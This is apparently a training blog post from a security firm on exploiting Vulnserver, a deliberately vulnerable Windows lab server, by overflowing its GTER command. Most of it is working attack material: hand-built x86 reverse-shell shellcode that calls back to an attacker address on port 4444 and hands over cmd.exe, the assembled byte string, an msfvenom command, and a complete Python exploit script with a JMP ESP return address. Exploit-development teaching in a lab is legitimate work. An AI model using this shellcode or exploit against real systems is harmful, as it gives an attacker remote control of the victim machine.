Photo by Florian Klauer on Unsplash

GTER Exploit: Reusing Socket Stack

Every byte counts

By Andres Roldan | June 12, 2020

This is the third article on the series of exploiting Vulnserver, a VbD (Vulnerable-by-Design) application in which you can practice Windows exploit development.

In our previous post, we successfully exploited the GTER command using a technique called Egghunting or Egghunter.

Using an egghunter was required because we had a reduced buffer to fit a shellcode, as generated by msfvenom and other tools.

In this post, we will use a manually carved shellcode that will harness instructions that are already loaded on Vulnserver, allowing us to reduce the final length of our payload.

Reverse shellcode X-ray

A reverse shellcode is basically a series of Windows API function calls arranged in a delicate order to make a victim machine connect back to an attacker machine issuing a Windows shell, which is commonly an instance of cmd.exe.

The order of execution of a fully crafted shellcode is the following:

  1. Call WSAStartup() to load the needed WinSock DLLs. Use a call to LoadLibraryA underneath.

  2. Call socket() or WSASocketA() to bind a new socket handle.

  3. Call connect() or WSAConnect() to establish a connection to the attacker machine.

  4. Call CreateProcessA(), which calls cmd.exe and where the STDIN, STDOUT, and STDERR are redirected to the previously generated socket handle.

However, if we are exploiting a TCP/IP server like Vulnserver, chances are that the 'WinSock' DLL library is already loaded and initialized. That means that we can spare WinSock rutines initialization from our shellcode that can save us a great amount of bytes. Every byte counts.

As a reference, let’s create a reverse shellcode using msfvenom:

msfvenom
$ msfvenom -p windows/shell_reverse_tcp LHOST=192.168.0.20 LPORT=4444 EXITFUNC=thread -f raw -o /dev/null -b '\x00'
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Payload size: 351 bytes
Saved as: /dev/null

This shellcode is 351 bytes long. And, if you remember on our previous post, we only had around 144 bytes to play.

The whole idea of reusing instructions is to minimize the resultant shellcode.

To do that, we need to know what functions need to be called, with what parameters, and translate that into Assembler language to then convert it into our shellcode, keeping in mind to avoid the null bytes that would lead to making our shellcode unusable. It sounds harder than it really is.

With that in mind, let’s look at the signatures of the needed functions:

WSASocketA()

WSASocketA() signature
SOCKET WSAAPI WSASocketA(
  int                 af,
  int                 type,
  int                 protocol,
  LPWSAPROTOCOL_INFOA lpProtocolInfo,
  GROUP               g,
  DWORD               dwFlags
);

If we are going to write this in Assembler, we must remember that in the x86 architecture the functions are called in a very specific way:

  1. The parameters are pushed to the stack on reverse order.

  2. We call the required function.

  3. That function will store the returned value on EAX.

For example, the structure for calling WSASocketA function is as follows:

  1. Push dwFlags parameter to the stack.

  2. Push g parameter to the stack.

  3. Push lpProtocolInfo parameter to the stack.

  4. Push protocol parameter to the stack.

  5. Push type parameter to the stack.

  6. Push af parameter to the stack.

  7. Call WSASocketA().

  8. Retrieve the return value of WSASocketA() from EAX which is the resulting socket handle.

We also need to know the exact address of the WSASocketA() on the system. Normally, those function addresses won’t change much on a specific version of Windows but will likely change over different updates, so keep that in mind when creating custom shellcodes.

For retrieving the addresses of functions on the current OS, you can use the arwin tool:

arwin finding WSASocketA()
C:\Documents and Settings\Administrator>arwin ws2_32 WSASocketA
arwin - win32 address resolution program - by steve hanna - v.01
WSASocketA is located at 0x71ab8b6a in ws2_32

Ok, with all the required information, we can proceed to write some Assembler. We need to get a socket handle that can be used by a TCP connection. With that in mind, we can write the call to WSASocketA():

WSASocketA() in ASM
xor ebx,ebx             ; Zero out EBX
push ebx                ; Push 'dwFlags' parameter
push ebx                ; Push 'g' parameter
push ebx                ; Push 'lpProtocolInfo' parameter
mov bl,0x6              ; Protocol: IPPROTO_TCP=6
push ebx                ; Push 'protocol' parameter
xor ebx,ebx             ; Zero out EBX again
inc ebx                 ; Type: SOCK_STREAM=1
push ebx                ; Push 'type' parameter
inc ebx                 ; Af: AF_INET=2
push ebx                ; Push 'af' parameter
mov ebx,0x71ab8b6a      ; Address of WSASocketA() on WinXPSP3
call ebx                ; call WSASocketA()
xchg eax,esi            ; Save the returned socket handle on ESI

Nice, we stored the socket handle in the ESI register that we will need in the forthcoming functions.

connect()

The connect() call will create the connection back to the attacker using the socket handle generated by WSASocketA that we stored in ESI:

connect() signature
int WSAAPI connect(
  SOCKET         s,
  const sockaddr *name,
  int            namelen
);

The sockaddr parameter is in turn:

struct sockaddr {
        ushort  sa_family;
        char    sa_data[14];
};

Get the address of connect():

arwin finding connect()
C:\Documents and Settings\Administrator>arwin ws2_32 connect
arwin - win32 address resolution program - by steve hanna - v.01
connect is located at 0x71ab4a07 in ws2_32

Now that we know the structure of the connect() function call and the address of the function, we can write it in Assembler:

connect() in Assembler
push 0x1400a8c0         ; Push attacker IP: 192.168.0.20. In reverse order:
                        ; hex(20) = 0x14
                        ; hex(0) = 0x00
                        ; hex(168) = 0xa8
                        ; hex(192) = 0xc0
push word 0x5c11        ; Push port: hex(4444) = 0x115c
xor ebx,ebx             ; Zero out EBX
add bl,0x2              ; sa_family: AF_INET = 2
push word bx            ; Push sa_family parameter
mov ebx,esp             ; EBX now has the pointer to sockaddr structure
push byte 0x16             ; Size of sockaddr: sa_family + sa_data = 16
push ebx                ; Push pointer ('name' parameter)
push esi                ; Push saved socket handler ('s' parameter)
mov ebx,0x71ab4a07      ; Address of connect() on WinXPSP3
call ebx                ; Call connect()

Note that the attacker IP address parameter contains a null byte, which will stop the injection of the payload. To overcome that, we can add a static value to that address, subtract it again, and push the result. This will be the final connect() payload:

connect() in Assembler
mov ebx,0x6955fe15      ; Attacker IP: 192.168.0.20. In reverse order:
                        ; hex(20) = 0x14
                        ; hex(0) = 0x00
                        ; hex(168) = 0xa8
                        ; hex(192) = 0xc0
                        ; 0x1400a8c0 + 55555555 = 6955FE15
sub ebx,0x55555555      ; Substract again 55555555 to get the original IP
push ebx                ; This will push 0x1400a8c0 to the stack without
                        ; injecting null bytes
push word 0x5c11        ; Push port: hex(4444) = 0x115c
xor ebx,ebx             ; Zero out EBX
add bl,0x2              ; sa_family: AF_INET = 2
push word bx            ; Push sa_family parameter
mov ebx,esp             ; EBX now has the pointer to sockaddr structure
push byte 0x16          ; Size of sockaddr: sa_family + sa_data = 16
push ebx                ; Push pointer ('name' parameter)
push esi                ; Push saved socket handler ('s' parameter)
mov ebx,0x71ab4a07      ; Address of connect() on WinXPSP3
call ebx                ; Call connect()

CreateProcessA()

Now comes the final function CreateProcessA(), which is responsible for creating an instance of the cmd.exe command. We also need to point the STDIN, STDOUT and STDERR descriptors to our socket handle to make the resultant shell interactive for us.

CreateProcessA() signature
BOOL CreateProcessA(
  LPCSTR                lpApplicationName,
  LPSTR                 lpCommandLine,
  LPSECURITY_ATTRIBUTES lpProcessAttributes,
  LPSECURITY_ATTRIBUTES lpThreadAttributes,
  BOOL                  bInheritHandles,
  DWORD                 dwCreationFlags,
  LPVOID                lpEnvironment,
  LPCSTR                lpCurrentDirectory,
  LPSTARTUPINFOA        lpStartupInfo,
  LPPROCESS_INFORMATION lpProcessInformation
);

We need to fill the _STARTUPINFOA structure. Luckily for us, most of the parameters are NULL:

typedef struct _STARTUPINFOA {
  DWORD  cb;
  LPSTR  lpReserved;
  LPSTR  lpDesktop;
  LPSTR  lpTitle;
  DWORD  dwX;
  DWORD  dwY;
  DWORD  dwXSize;
  DWORD  dwYSize;
  DWORD  dwXCountChars;
  DWORD  dwYCountChars;
  DWORD  dwFillAttribute;
  DWORD  dwFlags;
  WORD   wShowWindow;
  WORD   cbReserved2;
  LPBYTE lpReserved2;
  HANDLE hStdInput;
  HANDLE hStdOutput;
  HANDLE hStdError;
} STARTUPINFOA, *LPSTARTUPINFOA;

And the _PROCESS_INFORMATION is even easier as all the fields can be NULL:

typedef struct _PROCESS_INFORMATION {
  HANDLE hProcess;
  HANDLE hThread;
  DWORD  dwProcessId;
  DWORD  dwThreadId;
} PROCESS_INFORMATION, *PPROCESS_INFORMATION, *LPPROCESS_INFORMATION;

Get the address of CreateProcessA():

arwin finding CreateProcessA()
C:\Documents and Settings\Administrator>arwin kernel32 CreateProcessA
arwin - win32 address resolution program - by steve hanna - v.01
CreateProcessA is located at 0x7c80236b in kernel32

In Assembler, the call to CreateProcessA() will look like this:

CreateProcessA() in Assembler
mov ebx,0x646d6341      ; Move 'cmda' to EBX. The trailing 'a' is to avoid
                        ; injecting null bytes.
shr ebx,0x8             ; Make EBX = 'cmd\x00'
push ebx                ; Push application name
mov ecx,esp             ; Make ECX a pointer to the 'cmd' command
                        ; ('lpCommandLine' parameter)

; Now fill the `_STARTUPINFOA` structure
xor edx,edx             ; Zero out EBX
push esi                ; hStdError = our socket handler
push esi                ; hStdOutput = our socket handler
push esi                ; hStdInput = our socket handler
push edx                ; cbReserved2 = NULL
push edx                ; wShowWindow = NULL
xor eax, eax            ; Zero out EAX
mov ax,0x0101           ; dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW
push eax                ; Push dwFlags
push edx                ; dwFillAttribute = NULL
push edx                ; dwYCountChars = NULL
push edx                ; dwXCountChars = NULL
push edx                ; dwYSize = NULL
push edx                ; dwXSize = NULL
push edx                ; dwY = NULL
push edx                ; dwX = NULL
push edx                ; lpTitle = NULL
push edx                ; lpDesktop = NULL
push edx                ; lpReserved = NULL
add dl,44               ; cb = 44
push edx                ; Push _STARTUPINFOA on stack
mov eax,esp       	    ; Make EAX a pointer to _STARTUPINFOA
xor edx,edx             ; Zero out EDX again

; Fill PROCESS_INFORMATION struct
push edx                ; lpProcessInformation
push edx                ; lpProcessInformation + 4
push edx                ; lpProcessInformation + 8
push edx                ; lpProcessInformation + 12


; Now fill out the `CreateProcessA` parameters
push esp                ; lpProcessInformation
push eax                ; lpStartupInfo
xor ebx,ebx             ; Zero out EBX to fill other parameters
push ebx                ; lpCurrentDirectory
push ebx                ; lpEnvironment
push ebx                ; dwCreationFlags
inc ebx                 ; bInheritHandles = True
push ebx                ; Push bInheritHandles
dec ebx                 ; Make EBX zero again
push ebx                ; lpThreadAttributes
push ebx                ; lpProcessAttributes
push ecx                ; lpCommandLine = Pointer to 'cmd\x00'
push ebx                ; lpApplicationName
mov ebx,0x7c80236b      ; Address of CreateProcessA()
call ebx                ; Call CreateProcessA() on WinXPSP3

Putting it all together

Our final shellcode will be this:

shellcode.asm
; WSASocketA()
xor ebx,ebx             ; Zero out EBX
push ebx                ; Push 'dwFlags' parameter
push ebx                ; Push 'g' parameter
push ebx                ; Push 'lpProtocolInfo' parameter
mov bl,0x6              ; Protocol: IPPROTO_TCP=6
push ebx                ; Push 'protocol' parameter
xor ebx,ebx             ; Zero out EBX again
inc ebx                 ; Type: SOCK_STREAM=1
push ebx                ; Push 'type' parameter
inc ebx                 ; Af: AF_INET=2
push ebx                ; Push 'af' parameter
mov ebx,0x71ab8b6a      ; Address of WSASocketA() on WinXPSP3
call ebx                ; Call WSASocketA()
xchg eax,esi            ; Save the returned socket handle on ESI

; connect()
mov ebx,0x6955fe15      ; Attacker IP: 192.168.0.20. In reverse order:
                        ; hex(20) = 0x14
                        ; hex(0) = 0x00
                        ; hex(168) = 0xa8
                        ; hex(192) = 0xc0
                        ; 0x1400a8c0 + 55555555 = 6955FE15
sub ebx,0x55555555      ; Substract again 55555555 to get the original IP
push ebx                ; This will push 0x1400a8c0 to the stack without
                        ; injecting null bytes
push word 0x5c11        ; Push port: hex(4444) = 0x115c
xor ebx,ebx             ; Zero out EBX
add bl,0x2              ; sa_family: AF_INET = 2
push word bx            ; Push sa_family parameter
mov ebx,esp             ; EBX now has the pointer to sockaddr structure
push byte 0x16          ; Size of sockaddr: sa_family + sa_data = 16
push ebx                ; Push pointer ('name' parameter)
push esi                ; Push saved socket handler ('s' parameter)
mov ebx,0x71ab4a07      ; Address of connect() on WinXPSP3
call ebx                ; Call connect()

; CreateProcessA()

mov ebx,0x646d6341      ; Move 'cmda' to EBX. The trailing 'a' is to avoid
                        ; injecting null bytes.
shr ebx,0x8             ; Make EBX = 'cmd\x00'
push ebx                ; Push application name
mov ecx,esp             ; Make ECX a pointer to the 'cmd' command
                        ; ('lpCommandLine' parameter)

; Now fill the `_STARTUPINFOA` structure
xor edx,edx             ; Zero out EBX
push esi                ; hStdError = our socket handler
push esi                ; hStdOutput = our socket handler
push esi                ; hStdInput = our socket handler
push edx                ; cbReserved2 = NULL
push edx                ; wShowWindow = NULL
xor eax, eax            ; Zero out EAX
mov ax,0x0101           ; dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW
push eax                ; Push dwFlags
push edx                ; dwFillAttribute = NULL
push edx                ; dwYCountChars = NULL
push edx                ; dwXCountChars = NULL
push edx                ; dwYSize = NULL
push edx                ; dwXSize = NULL
push edx                ; dwY = NULL
push edx                ; dwX = NULL
push edx                ; lpTitle = NULL
push edx                ; lpDesktop = NULL
push edx                ; lpReserved = NULL
add dl,44               ; cb = 44
push edx                ; Push _STARTUPINFOA on stack
mov eax,esp       	    ; Make EAX a pointer to _STARTUPINFOA
xor edx,edx             ; Zero out EDX again

; Fill PROCESS_INFORMATION struct
push edx                ; lpProcessInformation
push edx                ; lpProcessInformation + 4
push edx                ; lpProcessInformation + 8
push edx                ; lpProcessInformation + 12


; Now fill out the `CreateProcessA` parameters
push esp                ; lpProcessInformation
push eax                ; lpStartupInfo
xor ebx,ebx             ; Zero out EBX to fill other parameters
push ebx                ; lpCurrentDirectory
push ebx                ; lpEnvironment
push ebx                ; dwCreationFlags
inc ebx                 ; bInheritHandles = True
push ebx                ; Push bInheritHandles
dec ebx                 ; Make EBX zero again
push ebx                ; lpThreadAttributes
push ebx                ; lpProcessAttributes
push ecx                ; lpCommandLine = Pointer to 'cmd\x00'
push ebx                ; lpApplicationName
mov ebx,0x7c80236b      ; Call CreateProcessA()
call ebx

We can compile this using nasm:

nasm compilation
$ nasm -f elf32 -o shellcode.o shellcode.asm

And obtain the resulting shellcode with:

$ for i in $(objdump -d shellcode.o -M intel |grep "^ " |cut -f2); do echo -n '\x'$i; done; echo
\x31\xdb\x53\x53\x53\xb3\x06\x53\x31\xdb\x43\x53\x43\x53\xbb\x6a\x8b\xab\x71
\xff\xd3\x96\xbb\x15\xfe\x55\x69\x81\xeb\x55\x55\x55\x55\x53\x66\x68\x11\x5c
\x31\xdb\x80\xc3\x02\x66\x53\x89\xe3\x6a\x16\x53\x56\xbb\x07\x4a\xab\x71\xff
\xd3\xbb\x41\x63\x6d\x64\xc1\xeb\x08\x53\x89\xe1\x31\xd2\x56\x56\x56\x52\x52
\x31\xc0\x66\xb8\x01\x01\x50\x52\x52\x52\x52\x52\x52\x52\x52\x52\x52\x80\xc2
\x2c\x52\x89\xe0\x31\xd2\x52\x52\x52\x52\x54\x50\x31\xdb\x53\x53\x53\x43\x53
\x4b\x53\x53\x51\x53\xbb\x6b\x23\x80\x7c\xff\xd3

As you can see, the resulting shellcode is only 126 bytes long and will nicely fit on our buffer without the need to use egghunters.

Update our exploit

Now that we have our manually created shellcode, we can update our previous exploit.

We will remove the egghunter and the previous shellcode and will include our custom shellcode. Let’s see how it looks now:

exploit-socketreuse.py
import socket
import struct

HOST = '192.168.0.29'
PORT = 9999

CUSTOM_SHELL = (
    b'\x31\xdb\x53\x53\x53\xb3\x06\x53\x31\xdb\x43\x53\x43' +
    b'\x53\xbb\x6a\x8b\xab\x71\xff\xd3\x96\xbb\x15\xfe\x55' +
    b'\x69\x81\xeb\x55\x55\x55\x55\x53\x66\x68\x11\x5c\x31' +
    b'\xdb\x80\xc3\x02\x66\x53\x89\xe3\x6a\x16\x53\x56\xbb' +
    b'\x07\x4a\xab\x71\xff\xd3\xbb\x41\x63\x6d\x64\xc1\xeb' +
    b'\x08\x53\x89\xe1\x31\xd2\x56\x56\x56\x52\x52\x31\xc0' +
    b'\x66\xb8\x01\x01\x50\x52\x52\x52\x52\x52\x52\x52\x52' +
    b'\x52\x52\x80\xc2\x2c\x52\x89\xe0\x31\xd2\x52\x52\x52' +
    b'\x52\x54\x50\x31\xdb\x53\x53\x53\x43\x53\x4b\x53\x53' +
    b'\x51\x53\xbb\x6b\x23\x80\x7c\xff\xd3'
)

PAYLOAD = (
    b'GTER /.:/' +
    CUSTOM_SHELL +
    b'A' * (147 - len(CUSTOM_SHELL)) +
    # 625011C7 | FFE4 | jmp esp
    struct.pack('<L', 0x625011C7) +
    # JMP to the start of our buffer
    b'\xe9\x64\xff\xff\xff' +
    b'C' * (400 - 147 - 4 - 5)
)

with socket.create_connection((HOST, PORT)) as fd:
    fd.recv(128)
    print('Sending payload...')
    fd.sendall(PAYLOAD)
    print('Done.')

It looks simpler! Now, run it to see what happens:

Take 1

Uhmmm, we got the reverse connection but no shell!

Let’s see what is going on:

Take 1

As we can see, several things have happened:

  1. Our buffer was correctly delivered.

  2. The JMP ESP instruction was successfully triggered.

  3. The jump backward occurred.

  4. And we landed at the start of our custom shellcode.

However, if you look carefully at this image:

ESP

We can see that the ESP register is only 24 bytes below the end of our custom shellcode. That means that with every PUSH performed on our custom shellcode, that pointer will get closer to it and start overwriting it. That’s not good news.

This graph illustrates the issue:

ESP

As the execution flows towards a higher memory address, the stack grows backward and will eventually overwrite our shellcode.

However, if you look at the image again, you can see that the EAX register points to the GTER /.:/ string, which is above our shellcode.

All that’s left to do is align the stack to point to that location, and it’s done easily with two instructions:

Align stack
push eax
pop esp

The first instruction will push the current value of EAX to the stack, and the second will pop back that value to the ESP register, moving the stack pointer above our shellcode, protecting it from being overwritten.

We can use nasm_shell.rb from Metasploit to get the opcodes of those instructions:

nasm_shell
$ cd /opt/metasploit-framework/embedded/framework/tools/exploit
$ ./nasm_shell.rb
nasm > push eax
00000000  50                push eax
nasm > pop esp
00000000  5C                pop esp

Ok, now we can add those instructions to our exploit and see what happens:

exploit-socketreuse.py
import socket
import struct

HOST = '192.168.0.29'
PORT = 9999

CUSTOM_SHELL = (
    b'\x31\xdb\x53\x53\x53\xb3\x06\x53\x31\xdb\x43\x53\x43' +
    b'\x53\xbb\x6a\x8b\xab\x71\xff\xd3\x96\xbb\x15\xfe\x55' +
    b'\x69\x81\xeb\x55\x55\x55\x55\x53\x66\x68\x11\x5c\x31' +
    b'\xdb\x80\xc3\x02\x66\x53\x89\xe3\x6a\x16\x53\x56\xbb' +
    b'\x07\x4a\xab\x71\xff\xd3\xbb\x41\x63\x6d\x64\xc1\xeb' +
    b'\x08\x53\x89\xe1\x31\xd2\x56\x56\x56\x52\x52\x31\xc0' +
    b'\x66\xb8\x01\x01\x50\x52\x52\x52\x52\x52\x52\x52\x52' +
    b'\x52\x52\x80\xc2\x2c\x52\x89\xe0\x31\xd2\x52\x52\x52' +
    b'\x52\x54\x50\x31\xdb\x53\x53\x53\x43\x53\x4b\x53\x53' +
    b'\x51\x53\xbb\x6b\x23\x80\x7c\xff\xd3'
)

PAYLOAD = (
    b'GTER /.:/' +
    # Align stack to avoid overwrite our shellcode
    b'\x50' +           # PUSH EAX
    b'\x5c' +           # POP ESP
    CUSTOM_SHELL +
    b'A' * (147 - 2 - len(CUSTOM_SHELL)) +
    # 625011C7 | FFE4 | jmp esp
    struct.pack('<L', 0x625011C7) +
    # JMP to the start of our buffer
    b'\xe9\x64\xff\xff\xff' +
    b'C' * (400 - 147 - 4 - 5)
)

with socket.create_connection((HOST, PORT)) as fd:
    fd.recv(128)
    print('Sending payload...')
    fd.sendall(PAYLOAD)
    print('Done.')

And execute the exploit again:

Shell

Whooo! We got our shell again!

You can download the final exploit here

Conclusion

This time I wanted to show that there are always ways to overcome harsh exploitation environments, just by trying harder.

Copyright © 2020 Fluid Attacks, We hack your software. All rights reserved.

Service status - Terms of Use - Privacy Policy - Cookie Policy